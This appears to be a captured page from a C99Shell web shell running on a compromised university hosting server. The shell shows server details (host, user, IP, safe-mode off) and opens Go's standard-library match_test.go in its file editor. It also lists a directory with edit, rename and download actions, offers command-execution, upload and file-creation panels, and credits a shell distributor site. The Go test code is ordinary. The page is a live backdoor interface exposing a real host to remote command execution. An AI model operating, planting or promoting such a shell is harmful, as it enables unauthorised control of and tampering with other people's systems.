67vc33-b1a78eb8b39a7a2f.ithost.pongsawadi.ac.th

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux ns1.ithost.pongsawadi.ac.th 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64 User: ithost67s46552gwdc Software: Apache IP: 161.82.130.184 PHP: 8.2.30 CURL:ON SSH2:ON Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF /usr/share/go-1.22/src/testing/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux ns1.ithost.pongsawadi.ac.th 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64

User: ithost67s46552gwdc

Software: Apache

IP: 161.82.130.184

PHP: 8.2.30

CURL:ON SSH2:ON Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF

/usr/share/go-1.22/src/testing/

Edit File: match_test.go

// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package testing

import (
	"fmt"
	"reflect"
	"regexp"
	"strings"
	"unicode"
)

func init() {
	testingTesting = true
}

// Verify that our IsSpace agrees with unicode.IsSpace.
func TestIsSpace(t *T) {
	n := 0
	for r := rune(0); r <= unicode.MaxRune; r++ {
		if isSpace(r) != unicode.IsSpace(r) {
			t.Errorf("IsSpace(%U)=%t incorrect", r, isSpace(r))
			n++
			if n > 10 {
				return
			}
		}
	}
}

func TestSplitRegexp(t *T) {
	res := func(s ...string) filterMatch { return simpleMatch(s) }
	alt := func(m ...filterMatch) filterMatch { return alternationMatch(m) }
	testCases := []struct {
		pattern string
		result  filterMatch
	}{
		// Correct patterns
		// If a regexp pattern is correct, all split regexps need to be correct
		// as well.
		{"", res("")},
		{"/", res("", "")},
		{"//", res("", "", "")},
		{"A", res("A")},
		{"A/B", res("A", "B")},
		{"A/B/", res("A", "B", "")},
		{"/A/B/", res("", "A", "B", "")},
		{"[A]/(B)", res("[A]", "(B)")},
		{"[/]/[/]", res("[/]", "[/]")},
		{"[/]/[:/]", res("[/]", "[:/]")},
		{"/]", res("", "]")},
		{"]/", res("]", "")},
		{"]/[/]", res("]", "[/]")},
		{`([)/][(])`, res(`([)/][(])`)},
		{"[(]/[)]", res("[(]", "[)]")},

{"A/B|C/D", alt(res("A", "B"), res("C", "D"))},

// Faulty patterns
		// Errors in original should produce at least one faulty regexp in results.
		{")/", res(")/")},
		{")/(/)", res(")/(", ")")},
		{"a[/)b", res("a[/)b")},
		{"(/]", res("(/]")},
		{"(/", res("(/")},
		{"[/]/[/", res("[/]", "[/")},
		{`\p{/}`, res(`\p{`, "}")},
		{`\p/`, res(`\p`, "")},
		{`[[:/:]]`, res(`[[:/:]]`)},
	}
	for _, tc := range testCases {
		a := splitRegexp(tc.pattern)
		if !reflect.DeepEqual(a, tc.result) {
			t.Errorf("splitRegexp(%q) = %#v; want %#v", tc.pattern, a, tc.result)
		}

// If there is any error in the pattern, one of the returned subpatterns
		// needs to have an error as well.
		if _, err := regexp.Compile(tc.pattern); err != nil {
			ok := true
			if err := a.verify("", regexp.MatchString); err != nil {
				ok = false
			}
			if ok {
				t.Errorf("%s: expected error in any of %q", tc.pattern, a)
			}
		}
	}
}

func TestMatcher(t *T) {
	testCases := []struct {
		pattern     string
		skip        string
		parent, sub string
		ok          bool
		partial     bool
	}{
		// Behavior without subtests.
		{"", "", "", "TestFoo", true, false},
		{"TestFoo", "", "", "TestFoo", true, false},
		{"TestFoo/", "", "", "TestFoo", true, true},
		{"TestFoo/bar/baz", "", "", "TestFoo", true, true},
		{"TestFoo", "", "", "TestBar", false, false},
		{"TestFoo/", "", "", "TestBar", false, false},
		{"TestFoo/bar/baz", "", "", "TestBar/bar/baz", false, false},
		{"", "TestBar", "", "TestFoo", true, false},
		{"", "TestBar", "", "TestBar", false, false},

// Skipping a non-existent test doesn't change anything.
		{"", "TestFoo/skipped", "", "TestFoo", true, false},
		{"TestFoo", "TestFoo/skipped", "", "TestFoo", true, false},
		{"TestFoo/", "TestFoo/skipped", "", "TestFoo", true, true},
		{"TestFoo/bar/baz", "TestFoo/skipped", "", "TestFoo", true, true},
		{"TestFoo", "TestFoo/skipped", "", "TestBar", false, false},
		{"TestFoo/", "TestFoo/skipped", "", "TestBar", false, false},
		{"TestFoo/bar/baz", "TestFoo/skipped", "", "TestBar/bar/baz", false, false},

// with subtests
		{"", "", "TestFoo", "x", true, false},
		{"TestFoo", "", "TestFoo", "x", true, false},
		{"TestFoo/", "", "TestFoo", "x", true, false},
		{"TestFoo/bar/baz", "", "TestFoo", "bar", true, true},

{"", "TestFoo/skipped", "TestFoo", "x", true, false},
		{"TestFoo", "TestFoo/skipped", "TestFoo", "x", true, false},
		{"TestFoo", "TestFoo/skipped", "TestFoo", "skipped", false, false},
		{"TestFoo/", "TestFoo/skipped", "TestFoo", "x", true, false},
		{"TestFoo/bar/baz", "TestFoo/skipped", "TestFoo", "bar", true, true},

// Subtest with a '/' in its name still allows for copy and pasted names
		// to match.
		{"TestFoo/bar/baz", "", "TestFoo", "bar/baz", true, false},
		{"TestFoo/bar/baz", "TestFoo/bar/baz", "TestFoo", "bar/baz", false, false},
		{"TestFoo/bar/baz", "TestFoo/bar/baz/skip", "TestFoo", "bar/baz", true, false},
		{"TestFoo/bar/baz", "", "TestFoo/bar", "baz", true, false},
		{"TestFoo/bar/baz", "", "TestFoo", "x", false, false},
		{"TestFoo", "", "TestBar", "x", false, false},
		{"TestFoo/", "", "TestBar", "x", false, false},
		{"TestFoo/bar/baz", "", "TestBar", "x/bar/baz", false, false},

{"A/B|C/D", "", "TestA", "B", true, false},
		{"A/B|C/D", "", "TestC", "D", true, false},
		{"A/B|C/D", "", "TestA", "C", false, false},

// subtests only
		{"", "", "TestFoo", "x", true, false},
		{"/", "", "TestFoo", "x", true, false},
		{"./", "", "TestFoo", "x", true, false},
		{"./.", "", "TestFoo", "x", true, false},
		{"/bar/baz", "", "TestFoo", "bar", true, true},
		{"/bar/baz", "", "TestFoo", "bar/baz", true, false},
		{"//baz", "", "TestFoo", "bar/baz", true, false},
		{"//", "", "TestFoo", "bar/baz", true, false},
		{"/bar/baz", "", "TestFoo/bar", "baz", true, false},
		{"//foo", "", "TestFoo", "bar/baz", false, false},
		{"/bar/baz", "", "TestFoo", "x", false, false},
		{"/bar/baz", "", "TestBar", "x/bar/baz", false, false},
	}

for _, tc := range testCases {
		m := newMatcher(regexp.MatchString, tc.pattern, "-test.run", tc.skip)

parent := &common{name: tc.parent}
		if tc.parent != "" {
			parent.level = 1
		}
		if n, ok, partial := m.fullName(parent, tc.sub); ok != tc.ok || partial != tc.partial {
			t.Errorf("for pattern %q, fullName(parent=%q, sub=%q) = %q, ok %v partial %v; want ok %v partial %v",
				tc.pattern, tc.parent, tc.sub, n, ok, partial, tc.ok, tc.partial)
		}
	}
}

var namingTestCases = []struct{ name, want string }{
	// Uniqueness
	{"", "x/#00"},
	{"", "x/#01"},
	{"#0", "x/#0"},      // Doesn't conflict with #00 because the number of digits differs.
	{"#00", "x/#00#01"}, // Conflicts with implicit #00 (used above), so add a suffix.
	{"#", "x/#"},
	{"#", "x/##01"},

{"t", "x/t"},
	{"t", "x/t#01"},
	{"t", "x/t#02"},
	{"t#00", "x/t#00"}, // Explicit "#00" doesn't conflict with the unsuffixed first subtest.

{"a#01", "x/a#01"},    // user has subtest with this name.
	{"a", "x/a"},          // doesn't conflict with this name.
	{"a", "x/a#02"},       // This string is claimed now, so resume
	{"a", "x/a#03"},       // with counting.
	{"a#02", "x/a#02#01"}, // We already used a#02 once, so add a suffix.

{"b#00", "x/b#00"},
	{"b", "x/b"}, // Implicit 0 doesn't conflict with explicit "#00".
	{"b", "x/b#01"},
	{"b#9223372036854775807", "x/b#9223372036854775807"}, // MaxInt64
	{"b", "x/b#02"},
	{"b", "x/b#03"},

// Sanitizing
	{"A:1 B:2", "x/A:1_B:2"},
	{"s\t\r\u00a0", "x/s___"},
	{"\x01", `x/\x01`},
	{"\U0010ffff", `x/\U0010ffff`},
}

func TestNaming(t *T) {
	m := newMatcher(regexp.MatchString, "", "", "")
	parent := &common{name: "x", level: 1} // top-level test.

for i, tc := range namingTestCases {
		if got, _, _ := m.fullName(parent, tc.name); got != tc.want {
			t.Errorf("%d:%s: got %q; want %q", i, tc.name, got, tc.want)
		}
	}
}

func FuzzNaming(f *F) {
	for _, tc := range namingTestCases {
		f.Add(tc.name)
	}
	parent := &common{name: "x", level: 1}
	var m *matcher
	var seen map[string]string
	reset := func() {
		m = allMatcher()
		seen = make(map[string]string)
	}
	reset()

f.Fuzz(func(t *T, subname string) {
		if len(subname) > 10 {
			// Long names attract the OOM killer.
			t.Skip()
		}
		name := m.unique(parent.name, subname)
		if !strings.Contains(name, "/"+subname) {
			t.Errorf("name %q does not contain subname %q", name, subname)
		}
		if prev, ok := seen[name]; ok {
			t.Errorf("name %q generated by both %q and %q", name, prev, subname)
		}
		if len(seen) > 1e6 {
			// Free up memory.
			reset()
		}
		seen[name] = subname
	})
}

// GoString returns a string that is more readable than the default, which makes
// it easier to read test errors.
func (m alternationMatch) GoString() string {
	s := make([]string, len(m))
	for i, m := range m {
		s[i] = fmt.Sprintf("%#v", m)
	}
	return fmt.Sprintf("(%s)", strings.Join(s, " | "))
}

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
allocs.go	1.36 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
allocs_test.go	817 B	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
benchmark.go	23.85 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
benchmark_test.go	5.56 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
cover.go	3.41 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
example.go	2.75 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
export_test.go	207 B	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
flag_test.go	2.01 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
fstest	DIR	29.06.2025 20:01:27	0/0	drwxr-xr-x	Edit Rename
fuzz.go	22.85 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
helper_test.go	2.64 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
helperfuncs_test.go	2.44 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
internal	DIR	29.06.2025 20:01:23	0/0	drwxr-xr-x	Edit Rename
iotest	DIR	29.06.2025 20:01:27	0/0	drwxr-xr-x	Edit Rename
match.go	7.69 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
match_test.go	7.99 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
newcover.go	1.75 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
panic_test.go	7.36 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
quick	DIR	29.06.2025 20:01:27	0/0	drwxr-xr-x	Edit Rename
run_example.go	1.29 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
run_example_wasm.go	1.76 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
slogtest	DIR	29.06.2025 20:01:27	0/0	drwxr-xr-x	Edit Rename
sub_test.go	23.8 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
testing.go	75.62 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
testing_other.go	386 B	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
testing_test.go	19.24 KB	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download
testing_windows.go	751 B	29.03.2024 15:27:02	0/0	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1774202845.61 ]--

Explain